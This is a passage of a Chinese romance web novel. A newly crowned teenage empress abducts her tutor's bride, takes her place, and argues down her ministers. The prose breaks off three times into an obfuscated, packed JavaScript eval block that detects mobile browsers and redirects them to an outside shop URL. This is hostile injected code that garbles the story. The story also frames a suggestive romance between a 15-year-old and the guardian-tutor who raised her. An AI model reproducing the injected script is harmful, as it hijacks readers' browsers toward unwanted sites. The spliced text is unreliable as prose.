《莫向玄处寻永安》 1. 愿不愿意做朕的夫君? 洞房内,程莫玄呆呆地坐在床沿上,手里的另一端还牵着根红绸,拿着不是,放着也不是。 他方才饮了合卺酒,微微发苦的酒液还残留于唇齿间。宾客的喧闹声早已被隔绝在院墙之外,新房静得像座无人问津的孤岛。 盖头下的新娘始终一言不发,也和他一样安静地坐着。 真是奇了怪了,他认识江芷柔三年,江姑娘虽是个温柔的性子,绝没有这般沉得住气—— 至少,她和他足够熟稔,不会在新婚夜里一个字儿也说不出来。 “娘子。”他轻声唤她。 无人回应。 程莫玄蹙起眉,伸出手去挑那方红盖头。秤杆触到绣金的红绸,只轻轻一挑,盖头就顺势滑落了。 烛光下,一张笑盈盈的脸正对着他挤眉弄眼。 这张脸的主人他熟悉得很,抱过她千百回,哄过她万千回,看着她从襁褓里的小小一团,长成如今明眸皓齿的少女模样。 正是他唯一的学生,当今的大昭天子,嘉宁帝李永安。 程莫玄吓得收回了手,秤杆“啪”地一声掉在地上。 “永安?怎么是你……” “嘻嘻~” 他的新娘子,也就是当今的皇帝陛下正歪着脑袋朝着他笑,头上的凤冠晃得叮当响,“小老师,惊不惊喜?意不意外啊~” 程莫玄的脑子里“嗡”地一声炸开了,瞬间就要站起来往外走。可他动作太急了,那条残腿支撑不住,往旁边一头就栽了过去。永安眼疾手快地一把扶住他,反被他的力道带得往前扑,两个人一起摔进了铺满红枣花生的大红婚床。 永安趴在他胸口,捧着脸笑盈盈地瞧他,笑得更欢了:“哎呀,小老师这么着急吗?” “你……”程莫玄涨红了脸,手足无措地想推开她,又不敢真推,两只手悬在半空,不知道该往哪儿放,“永安!你这是做什么!” “做什么?”永安眨眨眼,理直气壮道,“抢亲啊。” “江芷柔已经被朕送出城了。”她慢条斯理地解释起来龙去脉,“她爹收的聘礼,朕双倍还了;她家想要的门楣荣耀,朕给她二哥升了官;她自己嘛……” 她笑得更灿烂了:“她本来就喜欢她表哥,朕顺手就给他俩赐了婚。天长地久,百年好合啊!” 程莫玄保持着仰躺的姿势,直接僵在了榻上。永安伏在他身上,若是挣脱,怕是要落得个以下犯上的罪名了。 “小老师,”永安凑得极近,粉嫩的鼻尖碰着他的鼻尖,呼出的热气扑在他脸上,“你娶不了别人了哦~” 程莫玄老脸一红,少女的面容近在咫尺,面对着她,他一个字都说不出来。 小丫头刚会走路,就抱着他的腿喊“抱抱”,摔倒了非要他吹一吹才肯哭,半夜做噩梦时,还会偷偷钻进他被窝。 明明是个很可爱的小女孩,什么时候,长成了这副无法无天的模样? 他终于缓过神来,别过脸去,“你胡闹。” “朕没有胡闹。”永安收起嬉皮笑脸的神情,把头伸过去专注地看着他,认真表白着,“朕喜欢你。” “从朕记事起,就是你在照顾朕。”永安的声音不再张扬,乖乖地伏在他胸口上,“朕啊,爹不疼娘不爱,这偌大的皇宫里,只有你对朕好。” “朕摔了,你抱朕站起来。朕哭了,你给朕擦眼泪。朕生病了,你就整夜整夜地不睡觉,就守在朕床边……” 说着说着,少女就红了眼眶,偏偏要仰着头,倔强地不肯让泪落下来。 “你教朕读书写字,教朕怎么做个好皇帝。从小你就喜欢讲北疆的故事,讲你姐姐当年如何英姿飒爽,你爹爹曾经杀敌的风姿。” “朕那时候就想,这世上怎么会有好的人儿呢。” “后来朕知道了。”她吸了吸鼻子,弯起嘴角,漾出两个梨涡,“因为这世间,就只有一个程莫玄呀~” 程莫玄仰躺在床上,任由她趴在自己胸口,眼眶也跟着热起来。 他想说,永安,你是君,我是臣。 永安,我比你大十四岁。 永安,我这条腿废了,是个残废。 所有的话语都卡在了喉咙里。 因为她亮晶晶的一双大眼睛正期待地望着他,里面盛着他从未见过的灼热情感—— 也许是见过的,只是他从未敢认。 “小老师。”永安又凑近了一些,软软的嘴唇贴上他的唇角,“你只能是朕的男人。” 程莫玄受宠若惊地闭上眼,任由她抚摸过自己的眉眼,拆解他的披发,任由满头青丝散落在枕上…… 完了,他这辈子,算是栽了。 时间倒回数个时辰前。 永安陛下的及笄礼办得隆重,又冷冷清清的。 隆重是规矩,冷清是人心。 爹爹暴毙,亲娘淮燕又自刎了多年,在这偌大的皇宫里,永安竟找不出一个能替她插簪的长辈。 好在她生性乐观,根本就不在乎。 她站在高台上,任由礼官念着冗长的祝词,心思早已飘到了九霄云外。一大早的,就被几个宫女哄骗着穿了十二层礼服,压得腰酸背痛,头上的金冠足有三斤重,脖子都快断了。 及笄真累啊!!! 永安在心里不断咒骂着,眼睛却止不住地往台下瞟。人群中,她一眼就找到了想见的人: 男子眉似新柳,目若远山,神色清冷自持,一身青襟白裳地站在角落里,安安静静地看着她。 “小老师~”她朝着他对口型。 永安眨了眨眼,程莫玄则微微摇头,示意她好好站着。 “陛下。”礼官见她走神,在她耳边轻轻提醒着。 永安这才回过神来,庄重地接过玉簪,端端正正地将它插进发髻。 及笄礼成,接下来是权力交接的重头戏。 永安转身望向高台另一侧,此处坐着当朝摄政王,林青。 林青喜好青色,穿了身绛青色宫装,端坐如松柏。她身侧站着摄政王夫陈静,生得清风朗月,唇畔染着笑意,气质若江南初春,温和地望着自己的妻子。 永安走下高台,一步步走到林青面前,跪了下去。 “永安拜见林姑姑。” 她心里头明白,当年若没有林姑姑的出力,根本就坐不到如今的这个位置。 只不过她生性顽劣,怕是要辜负林姑姑的一番美意了。 林青沉默片刻,少顷,缓缓起身,双手向她奉上一方玉盒。 “这是传国玉玺,”她倾身一拜,“今日林青还政于陛下,望陛下莫要负了这大昭江山,佑我百姓万世永康。” 满殿寂静中,永安讪讪地接过玉盒,朗声答道:“是!姑姑!” 这东西,她从小就见过无数次。爹爹还活着的时候,偶尔见过他在御书房里用它批阅着奏折。 林青姑姑处理公务时,也喜欢用它蘸了朱砂,一印下去,便是千钧之重。 如今啊,总算要轮到她了。 “永安,”林青轻声言,湛然一笑,“这江山,我替你守了数年。往后,便是你自己的了。” 言罢,郑重一拜:“林某,愿同夫君陈静,辞官还乡,望陛下批准。” “准了。”永安也回了她一拜,对上林青那双深不见底的碧青色眼眸,和她眼下的三颗小痣。 永安从小就看不懂这个林姑姑。 她不知林姑姑的过往,只知林姑姑战胜了她的大舅,惩罚了杀害她爹爹,逼死她娘亲的凶手。 这段往事,大人们总瞒着她,不让她知晓。 林青待她极好,却总隔了层纱,和她保持着不远不近的距离。 但永安知道,林青是真心护着她的。 永安幼年便即位,成了大昭新帝。她为女儿身,女子继承帝位还是大昭的头一先例,因此朝堂上虎视眈眈的人还真是不少。 还是林青站出来,以摄政王之尊,替她撑住了这片天。 依照约定,她及笄了,林青便要走了。 “姑姑,你和姑父要去哪儿?”永安笑盈盈地问。 见她神态娇憨,林青弯了弯唇角:“四处走走。” “还回来么。” “永安,”林青笑而不答,转而轻轻拍了拍她的肩,“你是皇帝了。” “永安明白了。” 她站起身,捧着玉盒,转身面向一众群臣。 “朕,”她脆生生地开口,笑着宣布道,“从今日起,亲政。” 群臣跪伏,山呼万岁。 永安站在高台上,望着下面乌压压的人头,只觉得特别不自在。 少女的心思藏不住,满心满眼想的都是:等会儿散了朝,得赶紧去找小老师,让他看看朕穿着龙袍的样子。 她喜欢看他皱着眉头,又因为她而忍不住笑的模样。 典礼甫一结束,永安立即蹦蹦跳跳地回了寝宫。 她立即换下了这恼人的十二层礼服,换上一身轻便的常服,歪在榻上,等着宫女端点心进来。 最先进来的是疏月,小宫女比她大两岁,是她在这宫里为数不多能说几句心里话的人。 不巧的是,今天疏月的手里没端着点心,脸色也不太好看。 “陛下。” “嗯?”永安没看到点心,立马就蹿了起来,“怎么了?” 疏月抿了抿唇,酝酿着该怎样开口。 永安心里立马咯噔一下:“说。” “程先生出了点事。” “小老师怎么了!” “程先生,”疏月一闭眼,满脸黑线道,“要成亲了。” 永安觉得自己的下巴都要掉到了地上,叉着腰故作惊怒道:“别逗朕玩啊疏月姐姐,朕可不好骗的!” “程先生要成亲了。”疏月惶恐地跪在地上,小声重复着,“和江家的嫡女江芷柔。日子都定了,就明天。” 永安直愣愣地站在原地,半天没动弹一下。 疏月偷偷抬眼瞧她,见陛下脸上什么表情都没有,一双大眼睛越来越亮,亮得有点吓人。 “陛下,你没事吧——” “疏月。”永安硬生生地挤出个笑,笑得怪瘆人的,让人后背发凉。 “立马去查,江家收了什么聘礼,定的什么章程,请的哪些宾客,一个时辰内,朕要全部知道。否则,朕就把你换掉咯~” 疏月不禁打了个寒颤,一边说着“是是是”,一边飞快地跑了。 永安慢慢坐回榻上,托着腮,望着窗外的景色发着呆。 小老师居然瞒着她要成亲了,还是和江家的姑娘。 永安见过江芷柔,长得还行,性子也温温柔柔的,一看就是会端端正正地坐家里绣花的大家闺秀。 可不像她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说他一个残废,配不上人家姑娘,不必张扬。” 永安瞬间沉默了。 半晌,她把那张纸拍在桌上,大步流星地往前一迈:“疏月,备车。” “陛下要去哪儿?” 永安冲她挤挤眼,露出一个痞痞的笑:“抢亲。” 疏月腿一软,瞬间摊在了地上:“陛下啊,程先生已经定亲了,您这样于礼不合啊!” “对,”永安才不管三七二十一,理直气壮道,“那又如何,他是朕的小老师。朕可不许他娶别人。” 疏月欲言又止。 她从小跟着永安,太了解这位陛下的脾气了。平日里嘻嘻哈哈没个正形,可一旦打定了主意,九头牛都拉不回来。 疏月吞了口唾沫,“那陛下打算怎么个抢法?” 永安托着下巴想了半晌,眼睛一亮道:“江芷柔是不是有个青梅竹马的表哥,叫柳清河。” “……好像是的。” “她表哥是不是一直没娶亲?” “对。” 永安一拍大腿:“成了!” 疏月一头雾水,陛下这是何意。 永安凑过去,嘀嘀咕咕说了一通。疏月听着听着,嘴巴越张越大。 “啊?这能行吗?” “怎么不行?”永安挑眉,“朕是皇帝,朕说了算。” 看着自家陛下那张神采飞扬的脸,疏月忽然有点同情那位素未谋面的江家小姐。 陛下不仅仅要抢亲,还要乱点鸳鸯谱啊! 这亲,怕是成不了了。 于是,经过永安不那么走心的精心设计,就有了眼下这一幕。 洞房花烛夜,程莫玄被自家学生压在婚床上,听她理直气壮地说着“你只能是朕的男人”! “永安,”他干巴巴地开口,“你知道自己在做什么吗?” “知道。”永安点头点得干脆,“在抢亲啊~” “不是这个意思……我是说……” “小老师,”永安表情认真了起来,打断他,“朕喜欢你。不是小孩子喜欢大人的那种喜欢,是想和你过一辈子的那种喜欢。” “朕当然知道你在担心什么。”永安继续说着,摸了摸他的耳垂,“你比朕大十四岁。你觉得自己是残废,配不上朕。你怕朝臣们说三道四,怕朕将来后悔。” “可是小老师,你忘了一点哦——” 她低下头,额头抵住他的额头。 “朕是大昭天子,朕想娶谁,谁就是朕的夫君。” “谁敢说三道四,朕就撕了他的嘴。” 陛下居然猜中了他的心思。程莫玄的呼吸瞬间乱了。 “至于后悔嘛~”永安弯起嘴角,眼底亮晶晶的,“小老师,你照顾了朕十五年。这十五年里,你对朕的好,朕可都记得呢。” “朕可能会后悔很多事情,唯独这件事嘛,绝不会哦。” 程莫玄张了张嘴,想说什么,却被永安一把捂住。 “不许说话!”永安眨了眨眼,“你只需要回答朕一个问题。” “你说……” “你,程莫玄,愿不愿意做李永安的夫君?” 2. 朕偏要你喜欢你自己 程莫玄不知该如何作答。 永安也不急,就这么趴在他胸口,手指一下一下绕着他的发梢玩。 那缕黑发在她指尖缠了一圈,松开,再缠一圈。痒痒的,从发梢一直痒到心尖。 “永安,你先起来。” “不起不起~”永安皱着小脸,大眼睛乌溜溜地瞪着他,“你还没回答朕呢。” 程莫玄闭了闭眼,伸手握住她的手腕,轻轻往外推。 “你先起来,我们好好说话。” 永安眨眨眼,倒是乖乖从他身上爬起来了。 程莫玄别扭地撑着床沿坐起身,残余的半条伤腿垂在床沿。他伸手整理好被她蹭乱的大红色衣襟,再次别过头去,不敢看她。 永安歪着头,趴到床头另一侧,吊儿郎当地望着他。 良久,程莫玄终于开口,整个人快要缩回了衣领里:“你是君,我是臣。君臣有别,这是纲常。” 永安眨眨眼,一脸无辜:“嘁,就这啊!” 程莫玄将自己缩的更小了:“总之是微臣不配,你不该嫁给我。” “朕是皇帝,朕说该就该。”永安才不管三七二十一,从背后一把抱住了他。 程莫玄也不敢去躲,生怕弄伤了小陛下。被她搂着往后仰了仰,靠在床头。 永安顺势爬到了他还没断的半截腿上,和他面对面地坐着。大红嫁衣的裙摆像一朵绽放的牡丹,把男人圈在中间。 “小老师,”她委屈巴巴地盯着他,声音软了下来,“朕知道你在想什么。” “你比朕大十四岁,还觉得自己是残废,配不上朕。你怕朝臣们说三道四,怕朕将来后悔。还有啊,我猜你是觉得朕只是年少冲动,分不清依赖和喜欢。” 少女每说出来一句,程莫玄的眼眶就红了一分。 “告诉朕~朕说的对不对嘛~”说罢,又撒娇着要亲亲他。 程莫玄红着脸想要躲开,永安则直接伸出手,把他的脸掰回来。 “不许躲。” “永安……” 永安再次笑嘻嘻地凑到他耳边,轻咬他的耳垂:“你照顾了朕十五年。这十五年里,你对朕的好,朕都记得。” “还有,朕的喜好,只有你知道啊~当时朕就觉得,小老师若不彻彻底底变成朕的人,这个世界上还有谁会这么了解朕,怜惜朕?” 程莫玄张口欲辩,却被永安一把捂住。 “不许说话。”永安凶巴巴地说,“听朕说完。” 她低下头,把脸埋在他颈窝里。 程莫玄不敢轻举妄动,任由她的呼吸喷在脖子上,痒痒热热的,是少女身上特有的甜香。 “小老师,”不一会儿,颈窝里传来了少女闷闷的声音,“朕这辈子,就没想过要嫁给别人。” “朕小时候不懂什么是喜欢,只知道想天天看见你。你不在的时候,朕就到处找你。找到了就往你怀里钻,闻着你身上的味道才能睡着。” “后来朕长大了,知道什么是喜欢了。” 她抬起头,对上他的眼睛。 “朕喜欢的人,从头到尾,就只有你一个呀。” 闻言,程莫玄眼眶里隐约有泪珠打转,美人泫然欲泣的模样,格外惹人怜爱。 他抬手想擦,永安则一边欣赏着,一边伸手抢了先,轻轻抹去他眼角的泪。 “小老师,你怎么哭了呀——” 她还是带着笑的,眼眶偏偏也是红的,又要去抓他的手掌。 少女的手胖乎乎的,触感细腻,他根本就不敢用力去握。 不一会儿,他轻叹一声:“我知道你是认真的。” 永安不语,笑眯眯地等他继续说。 “但是……” 一听这话,少女连忙嗔怒道:“不许说但是!就是不许~” “你听我说完。”程莫玄握紧她的手,“我不是不喜欢你。” 语毕,永安的眼睛瞬间亮了,看得他心里又酸又软。 “我比你大十四岁,看着你从那么小一点长到现在。在我心里,你永远都是当初的小小永安。” 永安听着,嘴角慢慢弯起来。 “我那时候就想,你与我有缘,在这宫阙中相依为命,我要护一辈子。”说着说着,他声音就越来越小了,“可从未想过,你会对我有意……” “为什么不去想呢?”永安歪头,永安不解。 程莫玄稍微同她拉开了些距离,轻轻掀起自己袍子的一角。 他将断掉的那条腿露了出来,膝盖以下空荡荡的,伤口已然青黑发紫。 永安怔住了,她也是第一次完整地看见小老师残缺的这部分。 程莫玄长叹一声:“永安,你看,我就是个残废。” 说着,他想要收回手,把袍角放下。 可永安却先一步制止了他的动作,径直俯下身,吻了上去。 少女的唇落在狰狞的伤口上,他虽已毫无知觉,还是觉得被烫到般,脑子“嗡”地一声炸开了。 “永安!”他大喊一声,伸手就要拉她起来。 永安意犹未尽地笑着抬起头,舔了舔唇角,活脱脱像还未魇足的样子:“怎么了嘛~” “永安!怎么可以……”程莫玄话都说不利索了,脸红得能滴出血来,“那里脏……” 永安撇撇嘴,“朕亲一下怎么了?” 程莫玄张了张嘴,竟无言以对。 永安趁他呆呆愣愣的,又凑过去,小兽般蛮横地在他唇角轻轻咬了一口。 “小老师,你今天怎么这样呆啊~” 程莫玄吃痛,闷哼一声。被她咬过之处隐隐作痛,还有点酥酥麻麻的。 “疼吗?”永安问。 “……疼。” “疼就对了。”永安气鼓鼓地瞪他,“你再敢说一句残废,朕就咬你一口。哼哼,咬到你闭嘴为止。” 程莫玄又觉得眼眶一热,见她坐在他尚存的半截腿上硌得慌,无奈地把少女揽进怀里,放置在了软榻上。 永安看他主动,欢呼雀跃地扑到了他怀中。 两个人就这么抱着,谁也不率先开口,生怕打破了这难得的温存时刻。 等到永安抱够了,迷迷糊糊地打算解他的衣衫时,程莫玄突然又松开了手。 “永安,不要。” “嗯?小老师~” “我还没答应你。” 永安停下了手中的动作,瞬间瞪大了眼睛:“什么什么?居然还没答应嘛~” 少女立即变得气鼓鼓的,却不肯立即松开他的衣襟。 “你说了那么多,我还没说‘愿意’呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484564|201929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永安急了:“那你刚才说不是不喜欢朕!” “是喜欢的。” “那你还这样伤朕的心——” “永安。”程莫玄打断她,伸手揉了揉她的头,抚慰道,“你容我想想,好么。” “不许去想嘛~”永安像个小流氓般,作势又要拨开他的衣衫,“今夜可是你和朕的洞房花烛夜呢~” “我只是在想,怎样才能配得上你。你毕竟生于紫室,我虽是将军之子,然家道中落……” “还有,我怕你只是一时冲动,怕朝臣们反对,更怕将来你会后悔。”他紧张地攥着自己的头发,眸光迷离。 “小老师~朕不会后悔的!” “让我想想。”程莫玄握紧她的手,止住她的动作,“给我些时间,想一想,怎么才能堂堂正正地站在你身边。” 永安还是目光灼灼地盯着他。 程莫玄被她看得心里发虚,硬撑着没移开目光。 过了很久,永安笑了,两个梨涡又重新漾了开来:“好吧。” “朕让你想。”永安扯过他手腕,在他鼻尖上亲了一下。 “但是不许想太久哦~哼哼,朕可没什么耐心。” 闻言,程莫玄忍不住偷偷一笑。永安果真还是永安,真是可爱啊。 永安正色道:“还有啊,不许再说什么配不上朕的话。” “你再说一句,朕就狠狠地咬你。”她凶巴巴地威胁着,“咬到你不敢说为止。” 少女张牙舞爪的样子更可爱了,程莫玄只觉得心里软得一塌糊涂,温柔哄道:“好,不说了。” 永安满意地点点头,又窝回他怀里,两人又相拥在一处。 可还没过一会儿,门外便传来了一阵吵闹的喧哗声。永安瞬间柳眉倒竖,不悦道:“什么声音?” 程莫玄也听得清清楚楚,他脸色微变,撑着就要坐起来。 永安径直按住他,自己率先跳下床,跑到窗边往外瞧了一眼。 “小老师啊,这下朕真闯祸了.” 永安绞着手,笑得颇为心虚:“那个那个……江家的人好像闹到宫门口了。” 程莫玄:“……” “估计嘞,可能不太服气呢。”永安轻咳一声,眼神飘到了别处。 她每次做了些心虚的事儿就喜欢瞟向别处。 程莫玄只觉无奈:这丫头抢了人家的新郎,还指望人家服气?哎。 “没事没事~小老师你好好在这里待着~朕去处理。”永安握了握拳,一个鲤鱼打挺地跳下床榻,一副“朕能搞定”的模样。 程莫玄张了张嘴,欲言又止,硬生生咽了回去。 “朕去去就回哦~” 少女三两步关上门,徒留程莫玄一人坐在床上。 少顷,他伸出手,摸了摸自己的唇角,此处还残留着她的温度。 断腿上丑陋的伤口,方才被她亲过。 他的眼眶又热了起来,笑得也更宠溺了。哎,小永安啊。 就算给他时间去想,他其实也想不出来什么。 毕竟他满脑子里都是她的模样,哪里还想得了别的事呢? 他想,可能需要一些时间,去消化永安和他之间的感情。 为了堂堂正正地站在她身边,他愿意试一试。 3. 舌战群臣 永安提着裙摆,气势汹汹地朝洞房外走去。 “陛下驾到——” 通传声一响,洞房外的杂音就瞬间消失了不少。 永安迈出门槛,背着手往那儿一站。 她可没把大红嫁衣还没换下来,就这样让所有人都看得清清楚楚。少女妆容明艳,嫁衣上的凤凰在灯火下熠熠生辉。 江家人跪了一地,为首的是江老太爷,须发皆白,满脸悲愤。 “陛下!老臣斗胆!求陛下还臣孙女一个公道!” 永安打了个哈欠,懒洋洋地往台阶上一坐:“老太爷,你孙女怎么了?” “陛下明知故问!”江老太爷气得横眉倒竖,“臣孙女的未婚夫婿程莫玄,今日大婚,新娘子却被人掉了包!臣孙女此刻还在城外哭得死去活来!” “这样啊~”永安眨眨眼,“那老太爷,你孙女现在在哪儿?” “在城外!” 永安故作神秘:“和谁在一块儿啊~” 江老太爷一愣:“……” 永安笑了,从袖子里摸出一张纸,径直往江老太爷面前一递。 “老太爷,你看看这个。” 江老太爷接过,借着灯火一看,脸色瞬间变得精彩纷呈。 手里是小陛下亲自撰写的婚书,上面端端正正地写着:江芷柔,配其表兄柳清河,永结秦晋之好。 落款处,落着个鲜红的御玺印。 “陛下您这……” 永安托着腮,笑眯眯地说:“老太爷,你那孙女,压根就不想嫁程莫玄。人家心里头装的是她表哥柳清河。朕呢,不过就是顺水推舟,成全了一对有情人~” “可陛下,这于礼不合!” 永安跳下台阶,拍拍裙摆上的灰,“朕还双倍退了你家的聘礼,给你家老二升了官。老太爷,你这买卖不亏啊。” 江老太爷竟无言以对。 “老太爷,朕知道你在想什么。你想攀程莫玄这门亲,图的是他将来可能复起的程家旧部,图的是他姐姐前朝凝妃当年留下的那点人脉。” 江老太爷被戳中了心坎,脸色大变。 永安退后一步,看向跪下的一众江家人,朗声道:“朕今日就把话撂这儿了哈~” “程莫玄,是朕的人。从今往后,谁敢动他一根汗毛,就是跟朕过不去。” “打他的主意,就是打朕的脸哦~” 说罢,又刻意凑到老太爷的面前晃悠:“老太爷,你确定要和朕过不去?此番朕已和程莫玄生米煮成熟饭,你再怎样劝阻,也无济于事啦~” 江老太爷立即扑通一声跪了下去:“老臣不敢!” 永安满意地点点头,转身往洞房里走,小老师还在等着她呢。 身后,疏月小跑着跟上,满脸崇拜:“陛下威武啊!” 永安头也不回,笑得贼兮兮的:“那当然~也不看看朕是谁~” 她以为这点小插曲就这么结了。 毕竟她是皇帝,话也说完了,江老太爷也跪着送她回去了,还能有什么变故? 可小陛下万万没想到,早朝时金銮殿上弹劾她的奏折堆成了小山。 “陛下!臣有本奏!” “陛下!臣也有本奏!” “陛下!臣等联名上书!” 永安坐在龙椅上,困得直打哈欠。 没睡饱…… 昨夜这件破事儿折腾到后半夜,她不愿意惊醒伏在床头睡熟的小老师,便还是决定回宫去睡。 今早天不亮就被拉起来上朝,她的眼皮都快黏在一起了。偏偏那群大臣一个个跟打了鸡血似的,奏折一本接一本地往上递。 “说吧说吧,你们都说了些啥。” 为首的是新任的礼部尚书周延,老人家跪得笔直,声音洪亮: “陛下!臣等弹劾陛下抢人夫君,败坏纲常,有辱国体啊!” 永安歪头:“还有呢?” “陛下身为天子,当为天下表率!如此行径,置礼法和朝纲于何地?” “还有吗?” “陛下!”又一个大臣站了出来,是御史台的刘御史,一脸义正言辞,“程莫玄家道中落,身有残疾,如何配得上陛下?陛下此举,实乃自降身份,令皇室蒙羞啊!臣请陛下收回成命,将程莫玄逐出宫去!” 永安的眼睛眯了眯,脸上的困意一扫而空。 “你再说一遍。” 刘御史被她盯着,后背一凉,还是拱着手硬着头皮道:“臣说的可是大实话!那程莫玄本就配不上陛下啊!” 永安的表情越来越难看了,一步一步走下御阶。 走到刘御史面前,她停下脚步,居高临下地看着他。 “你方才说,程莫玄家世不怎么样?” 刘御史咽了口唾沫:“是。” “他爹程老将军,为国捐躯,病逝于北疆。他姐姐程晚凝,是我亲爹的凝妃,诞育过皇子赵王。小弟若是没在当年宫变时身死,倒也有我这么大,是个国之栋梁了。” 永安的脸色更难看了:“程家人这般为国效力,你竟敢如此辱没!” 刘御史瞬间软了双腿,连连下跪求饶:“微臣不敢,不敢啊!” “你又说,他身有残疾?” 永安蹲下身与他平视,笑得人畜无害。 “他那条腿,是怎么断的,你知道吗?” 刘御史连连磕头:“臣不知。” “来来来,朕告诉你。” “当年赵太后祸乱宫闱,因为他姐姐怀了皇子,程莫玄才被太后的人打折了腿。” “你竟还敢在小老师的伤口上撒盐!” 刘御史额上冷汗直冒,一个劲的给自己掌嘴:“陛下,臣知错了,求您饶恕……” 永安又往前几步,环视一圈跪着的群臣。 “还有谁想说的?一起说了呗,朕站在这听着呢。” 群臣面面相觑,一时间竟无人敢应。 永安满意地点点头,正准备回龙椅上继续打瞌睡,老太爷苍老的声音就从她侧后方响起了。 “老臣有话说。” 须发尽白的江老太爷颤颤巍巍地站起来,老泪纵横。 “陛下,老臣斗胆,敢问陛下一句。” “臣孙女的婚事,您就这样随意处置了么?” 永安挑眉:“老太爷啊,你孙女的事儿,朕昨.晚已经跟你说明白了。” 江老太爷惨笑一声,“陛下说的解决方案是,双倍退还聘礼,给老臣次子升官,给臣孙女赐婚她表兄?” “对啊。”永安不明所以。 “那陛下可曾想过臣孙女的名节?” “她尚未出阁,成婚当日就被换了新郎,外人会怎么说她?会说她是被陛下抢了夫君的弃妇!说我们江家女儿没本事,连个残废都守不住!” 永安从早上就黑着的脸色黑的更是一塌糊涂。 “老太爷,你说话注意点哦。” 江老太爷直接豁出去了,扑通一声跪倒在地: “陛下啊!老臣不是要和陛下作对,只是想求一个说法!臣孙女清清白白的一个姑娘,凭什么要受这等委屈?” “老臣不求别的,只求陛下给臣孙女一个交代!” 一语毕,永安也皱了皱眉,的确,此事她也有处理不当之处,委屈了江芷柔。 可委屈归委屈,她就得把小老师让出去? 就在这时,殿外传来个女子的声音,说要觐见陛下。 永安一瞧,江芷柔穿了身素白的衣裙,未施粉黛,神色凄楚。她被侍卫拦着,倔强地站在原地,一双眼睛直直地望着殿内。 “让她进来。” 侍卫闪身让开,江芷柔迈着莲步缓缓走进金銮殿。 走到殿中央,她跪了下来,朝着永安磕了一个头。 “民女江芷柔,叩见陛下。” 永安只觉有些尴尬,不知道该怎样开口。 江芷柔抬起头,眼眶里隐隐含了泪珠。 “陛下,民女斗胆,想问陛下一句话。” “问吧。” “陛下可曾问过莫玄,他愿不愿意娶您?” 永安怔住了,心里颇为发虚。 江芷柔又是一拜,柔声道:“民女知道,程先生心里装着的人,从来都不是民女。” “民女与他相识三年,他待民女始终客客气气,不远不近。民女起初不明白,后来才知道,他每次看着民女的时候,眼里的光从来都不是给民女的。” “他给民女讲过去的往事,讲着讲着,就会说起一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不一会儿,江芷柔便点了点头,永安连忙宣布道: “江芷柔与柳清河青梅竹马,两情相悦,朕为他们赐婚。江老太爷,至于你嘛——” “你孙女嫁给她表哥,柳家虽不及程家显赫,但柳清河是朕亲点的进士,前途无量。这门亲事,亏不了你江家。” 江老太爷张大的嘴可以吞下去一个鸡蛋。 永安见状“哦”了一声,挑眉道:“怎么,老太爷还有意见?” 江老太爷扑通一声跪了下去:“老臣不敢!老臣遵旨。” 永安这才顺心了不少,正打算走回轮椅,却被江芷柔叫住了。 “陛下,民女还有一问。”江芷柔跪在地上,抬起泪痕未干的脸,看着永安。 “你说你说。” 江芷柔浑身颤着,鼓起勇气才敢问出来这一番话:“您可曾想过,倘若是程先生不愿娶您呢?” 永安只觉如遭雷劈,她说的一点也没错。 “民女知道陛下喜欢他,可喜欢是两个人的事。” “陛下是天子,想要什么都能得到。可人心不是一道圣旨就能换来的。” 永安就这样直愣愣地听着,许久不语,朝堂上甚至已有胆小的大臣俯首磕着头,生怕小陛下降罪于所有人。 可谁知,她却朝这位江姑娘展颜一笑:“江姑娘,你说得对。” 永安走到了女子面前,伸手就一把将她扶了起来。 “喜欢是两个人的事。”永安说,“所以朕昨晚问他了。” “程先生有说什么吗。” 永安神色讪讪,笑得有点心虚:“他说,让他想想。” 江芷柔:“……” 殿内群臣:“……” 礼部周尚书的胡子跟着抖了抖:“陛下,您的意思是这程莫玄还没答应?” 永安理直气壮:“对啊。” “那陛下就直接上手抢亲?” “抢亲是抢亲,答应是答应,这不是两码事嘛~” “朕先把他抢过来,再慢慢让他答应,不行吗?” 周尚书差点一口气没上来:“陛下!这成何体统啊!” 这下换永安吹胡子瞪眼了:“周大人,你是觉得朕配不上他?” 周尚书老脸一白:“臣不是这个意思——” “那是觉得他配不上朕?” “臣也不是!” “那不就得了。”永安笑嘻嘻的,“朕喜欢他,他喜欢朕,只不过他现在还嘴硬不肯承认而已。朕给他时间想,怎么了?” 群臣面面相觑,都被她怼得说不上话。 4. 七天甚是难熬啊~ 永安一路小跑着,气喘吁吁地回到了寝宫门口。 抬眸一看,程莫玄坐在她寝宫门前的石阶上,春日洒了他满身,男子正埋头专注地读着书。 永安远远地停住脚步,小老师已经被她手动退婚了,除了来找她这一条法子,好像去无可去了。 江芷柔的话萦绕在耳畔,她还没有得到小老师一个愿意的肯定答案呢。 想到这里,永安就蹦蹦跳跳地跑了过去。 “小老师!猜猜是谁来啦~” 程莫玄见是她过来,撑着拐杖就要起身行礼。 永安见状,一把将他按了回去:“坐着坐着,朕又不是外人。” 说着,她就大喇喇地在他身边坐下,专注地望着他。 程莫玄被她看得不自在,目光别了过去,脸一直红到耳根:“陛下倒底想在臣的脸上找什么?” “什么也不找。”永安凑的更近了一点,“小老师是朕的~朕总能找出来一点新花样出来。” 程莫玄脖子都快扭过头了:“朝堂上的事,我听说了。” 永安一下子就蔫了下去:“哦?疏月姐姐难不成跟你告状了?” 